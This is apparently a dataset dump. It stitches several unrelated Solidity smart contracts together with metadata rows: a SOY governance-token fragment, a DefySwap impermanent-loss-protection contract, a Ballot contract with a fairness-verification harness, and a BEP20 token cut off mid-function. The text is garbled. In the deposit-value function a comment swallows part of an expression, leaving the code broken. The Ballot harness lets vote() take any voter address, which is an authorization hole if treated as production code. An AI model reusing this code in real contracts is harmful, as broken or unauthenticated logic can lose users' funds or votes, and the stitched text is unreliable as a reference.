function disableSetup() public onlyOwner onlySetupMode
{
setup_mode = false;
}
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SOY::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SOY::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "SOY::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "SOY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SOYs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "SOY::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 23,928 | 712 |
489b52c6a8b67a24aa1c135c1c98dd4473abeaef207efc17890c4273e1bbaa27
| 32,388 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/15/159ff61903ed0336b206c4f2be2c9e220211d910_ImpermanentLossProtection.sol
| 5,271 | 18,812 |
// SPDX-License-Identifier: MIT
// website: www.defyswap.finance
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IDefySwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeERC20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ImpermanentLossProtection is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 depositTime; // Time when the user deposit LP tokens.
uint256 depVal; // LP token value at the deposit time.
}
// Info of each pool.
struct PoolInfo {
address lpToken; // Address of LP token contract.
IERC20 token0; // Token0 accoring to the LP pair.
IERC20 token1; // Token1 accoring to the LP pair.
uint256 token0_decimal; //Token0 decimals.
uint256 token1_decimal; //Token1 decimals.
bool impermanentLossProtection; // ILP availability
}
address public defy;
address public devAddr;
address public defyMaster;
PoolInfo[] public poolInfo;
modifier onlyFarm() {
require(defyMaster == _msgSender() || owner() == _msgSender() || address(this) == _msgSender(), "ERROR: caller is not the defyMaster or owner.");
_;
}
modifier onlyDev() {
require(defyMaster == _msgSender() || devAddr == _msgSender() || owner() == _msgSender(), "ERROR: caller is not the defyMaster or Dev.");
_;
}
constructor(address _defy, address _defyMaster)
public
{
require(_defy != address(0) , 'ILP: DFY cannot be the zero address');
require(_defyMaster != address(0) , 'ILP: DefyMaster cannot be the zero address');
defy = _defy;
defyMaster = _defyMaster;
devAddr = msg.sender;
// staking pool
poolInfo.push(PoolInfo({
lpToken: _defy,
token0: IERC20(0),
token1: IERC20(0),
token0_decimal: 18,
token1_decimal: 18,
impermanentLossProtection: false
}));
}
function setAddresses(address _defy, address _defyMaster)
public
onlyFarm
{
require(_defy != address(0) , 'ILP: DFY cannot be the zero address');
require(_defyMaster != address(0) , 'ILP: DefyMaster cannot be the zero address');
defy = _defy;
defyMaster = _defyMaster;
poolInfo[0].lpToken = _defy ;
poolInfo[0].token0 = IERC20(0);
poolInfo[0].token1 = IERC20(0);
poolInfo[0].token0_decimal = 18;
poolInfo[0].token1_decimal = 18;
poolInfo[0].impermanentLossProtection = false;
}
// Safe Defy transfer function, just in case if rounding error causes pool to not have enough DFY.
function defyTransfer(address _to, uint256 _amount)
external
onlyFarm
{
uint256 defyBal = IERC20(defy).balanceOf(address(this));
uint256 xfAmt = _amount;
bool successfulTansfer = false;
if(xfAmt > defyBal)
xfAmt = defyBal;
if(xfAmt > 0){
successfulTansfer = IERC20(defy).transfer(_to, xfAmt);
require(successfulTansfer, "ILPDefyTransfer: transfer failed");
}
}
// Update dev address by the previous dev.
function dev(address _devAddr) public {
require(_devAddr != address(0) , 'ILP: Dev cannot be the zero address');
require(msg.sender == devAddr, "dev: wut?");
devAddr = _devAddr;
}
function add(address _lpToken,
IERC20 _token0,
IERC20 _token1,
bool _offerILP)
public
onlyDev
{
require(_lpToken != address(0) , 'ILP: LP token cannot be the zero address');
poolInfo.push(PoolInfo({
lpToken: _lpToken,
token0: _token0,
token1: _token1,
token0_decimal: _token0.decimals(),
token1_decimal: _token1.decimals(),
impermanentLossProtection: _offerILP
}));
}
function set(uint256 _pid,
IERC20 _token0,
IERC20 _token1,
bool _offerILP)
public
onlyDev
{
poolInfo[_pid].token0 = _token0;
poolInfo[_pid].token1 = _token1;
poolInfo[_pid].token0_decimal = _token0.decimals();
poolInfo[_pid].token1_decimal = _token1.decimals();
poolInfo[_pid].impermanentLossProtection = _offerILP;
}
//IMPERMANENT LOSS PROTECTION
//Liquidty Value, DFY Price, Etc
function getDepositValue(uint256 amount, uint256 _pid)
external
view
returns (uint256 userDepValue)
{
PoolInfo storage pool = poolInfo[_pid];
return _getDepositValue(amount, pool);
}
function _getDepositValue(uint256 _amount, PoolInfo storage _pool)
internal
view
returns (uint256 userDepValue)
{
IDefySwapPair pair = IDefySwapPair(address(_pool.lpToken));
if (defy == address(_pool.token0) || defy == address(_pool.token1))
{
userDepValue = (2 * (IERC20(defy).balanceOf(_pool.lpToken))
.mul(_getDefyPrice(_pool.lpToken, _pool.token0, _pool.token1,
_pool.token0_decimal, _pool.token1_decimal)) //LPToken Price Estimate).mul(_amount).div(pair.totalSupply()); // UserLP / TotalLP
}
else
{
userDepValue = 0;
}
return userDepValue;
}
function getDefyPrice(uint256 _pid)
external
view
returns (uint256 defyPrice)
{
PoolInfo storage pool = poolInfo[_pid];
return _getDefyPrice(pool.lpToken, pool.token0, pool.token1,pool.token0_decimal, pool.token1_decimal);
}
function _getDefyPrice(address _lpToken, IERC20 _token0, IERC20 _token1,uint256 _dec0, uint256 _dec1)
internal
view
returns (uint256)
{
uint256 defyPrice;
(uint256 r0, uint256 r1,) = IDefySwapPair(_lpToken).getReserves();
//DFY price when the DFY is token0.
if(defy == address(_token0))
{
uint256 pow = 18;
//Check decimal difference of the tokens in pair.
if(_dec0 > _dec1){
pow = 18 + _dec0 - _dec1;
}
if (_dec0 < _dec1){
pow = 18 + _dec1 - _dec0;
}
defyPrice = ((10 ** pow) * (r1)) / (r0); //Price of DFY in secondary token in the pair.
}
//DFY price when the DFY is token1.
else if(defy == address(_token1))
{
uint256 pow = 18;
//Check decimal difference of the tokens in pair.
if(_dec0 > _dec1){
pow = 18 + _dec0 - _dec1;
}
if (_dec0 < _dec1){
pow = 18 + _dec1 - _dec0;
}
defyPrice = ((10 ** pow) * (r0)) / (r1); //Price of DFY in secondary token in the pair.
}
else {
defyPrice =0;
}
return defyPrice;
}
function getReserves(uint256 _pid)
external
view
returns (uint256 r0, uint256 r1)
{
PoolInfo storage pool = poolInfo[_pid];
(r0, r1,) = IDefySwapPair(pool.lpToken).getReserves();
return (r0, r1);
}
}
| 311,306 | 713 |
ad1c3f9926d5cbbfafcd86bef0ef91794f5f7ba399a0e22bc6d64845360e08ba
| 13,898 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/experiment/voting-0-1/truthful/Ballot-0xfce2e88f90927d5e5a539f1c223a6c6eeadb6cff.sol
| 3,692 | 12,780 |
pragma solidity >=0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
constructor(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(address msg_sender, uint8 toProposal) public {
if (voters[msg_sender].voted || toProposal >= proposals.length) return;
voters[msg_sender].voted = true;
voters[msg_sender].vote = toProposal;
proposals[toProposal].voteCount += voters[msg_sender].weight;
}
function winningProposal() public returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
function newProposal(uint8 _numProposals) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(int a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint8 a, uint8 b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(bool allocation, bool new_allocation, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, bool allocation, bool other_allocation) public view {}
function _Main_(address payable msg_sender1, uint8 p1, uint p1_value, uint p1_rv_value, uint8 msg_value1,
address payable msg_sender2, uint8 p2, uint p2_value, uint p2_rv_value, uint8 msg_value2,
address payable msg_sender3, uint8 p3, uint p3_value, uint p3_rv_value, uint8 msg_value3,
address payable msg_sender4, uint8 p4, uint p4_value, uint p4_rv_value, uint8 msg_value4,
address payable msg_sender5, uint8 p5, uint p5_value, uint p5_rv_value, uint8 msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value==1&&p1_value > p1_rv_value && p1_rv_value ==0);
require(p2_value==1&&p2_value > p2_rv_value && p2_rv_value ==0);
require(p3_value==1&&p3_value > p3_rv_value && p3_rv_value ==0);
require(p4_value==1&&p4_value > p4_rv_value && p4_rv_value ==0);
require(p5_value==1&&p5_value > p5_rv_value && p5_rv_value ==0);
require(p1 ==0||p1==1);
require(p2 ==0||p2==1);
require(p3 ==0||p3==1);
require(p4 ==0||p4==1);
require(p5 ==0||p5==1);
require(msg_value1 ==0||msg_value1==1);
require(msg_value2 ==0||msg_value2==1);
require(msg_value3 ==0||msg_value3==1);
require(msg_value4 ==0||msg_value4==1);
require(msg_value5 ==0||msg_value5==1);
int winner;
require(winner==-1);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
vote(msg_sender1,msg_value1);
vote(msg_sender2,msg_value2);
vote(msg_sender3,msg_value3);
vote(msg_sender4,msg_value4);
vote(msg_sender5,msg_value5);
//execute Proposal
winner = winningProposal();
assert(winner==0 || winner == 1);
if (winner == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if (winner == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if (winner == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if (winner== msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if (winner == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_winner(winner);
sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
}
}
// contract Rewrite{
// struct Vote {
// bool inSupport;
// address voter;
// }
// struct Proposal {
// uint voteCount;
// }
// Proposal[] proposals;
// uint voteCount;
// function newProposal() public{
// proposal.executed = false;
// proposal.proposalPassed = false;
// proposal.numberOfVotes = 0;
// }
// function vote(address msg_sender, bool supportsProposal) public{
// require(proposal.voted[msg_sender] != true);
// // proposal.votes[voteCount] = Vote({inSupport: supportsProposal, voter: msg_sender});
// proposal.votes[voteCount].inSupport = supportsProposal;
// proposal.votes[voteCount].voter = msg_sender;
// proposal.voted[msg_sender] = true;
// proposal.numberOfVotes = ++voteCount;
// }
// function executeProposal() public {
// uint quorum = 0;
// uint yea = 0;
// uint nay = 0;
// for (uint i = 0; i < voteCount; ++i) {
// uint voteWeight = 1;
// quorum += voteWeight;
// if (proposal.votes[i].inSupport) {
// yea += voteWeight;
// } else {
// nay += voteWeight;
// }
// }
// if (yea > nay) {
// // Proposal passed; execute the transaction
// proposal.proposalPassed = true;
// } else {
// // Proposal failed
// proposal.proposalPassed = false;
// }
// proposal.executed = true;
// }
// mapping(address=>uint) utilities;
// mapping(address=>uint) benefits;
// function sse_winner(address a) public view {}
// function sse_revenue(uint a) public view {}
// function sse_utility(uint a) public view {}
// function sse_maximize(uint a) public view {}
// function sse_minimize(uint a) public view {}
// function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
// address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
// address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
// address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
// require(!(msg_sender4==msg_sender5));
// require(p1_value > p1_rv_value && p1_rv_value > 0);
// require(p2_value > p2_rv_value && p2_rv_value > 0);
// require(p3_value > p3_rv_value && p3_rv_value > 0);
// require(p4_value > p4_rv_value && p4_rv_value > 0);
// require(p5_value > p5_rv_value && p5_rv_value > 0);
// require(voteCount==0);
// require(utilities[msg_sender1] == 0);
// require(utilities[msg_sender2] == 0);
// require(utilities[msg_sender3] == 0);
// require(utilities[msg_sender4] == 0);
// require(utilities[msg_sender5] == 0);
// // require(msg_value1!=p1);
// require(msg_value2==p2);
// require(msg_value3==p3);
// require(msg_value2==p4);
// require(msg_value3==p5);
// // new proposal first
// newProposal();
// // votes
// vote(msg_sender1, msg_value1);
// vote(msg_sender2, msg_value2);
// vote(msg_sender3, msg_value3);
// vote(msg_sender4, msg_value4);
// vote(msg_sender5, msg_value5);
// //execute Proposal
// executeProposal();
// // assert(msg_sender3 == winner);
// assert(proposal.executed == true);
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p1){
// utilities[msg_sender1] = p1_value;
// }else{
// utilities[msg_sender1] = p1_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value2){
// if (msg_value2 == p2){
// utilities[msg_sender2] = p2_value;
// }else{
// utilities[msg_sender2] = p2_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value3){
// if (msg_value1 == p3){
// utilities[msg_sender3] = p3_value;
// }else{
// utilities[msg_sender3] = p3_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p4){
// utilities[msg_sender4] = p4_value;
// }else{
// utilities[msg_sender4] = p4_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value5 == p5){
// utilities[msg_sender5] = p5_value;
// }else{
// utilities[msg_sender5] = p5_rv_value;
// }
// }
// sse_utility(utilities[msg_sender1]);
// sse_utility(utilities[msg_sender2]);
// sse_utility(utilities[msg_sender3]);
// sse_utility(utilities[msg_sender4]);
// sse_utility(utilities[msg_sender5]);
// sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
// }
// }
| 242,324 | 714 |
431ada895c117e78d67a88aabc6f94da5924ce0d1b7b0a14f45e63976792c257
| 33,068 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/43/43e655c0d866ba3dfa54252f0ca2221a97dfaf48_BEP20.sol
| 5,161 | 19,945 |
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
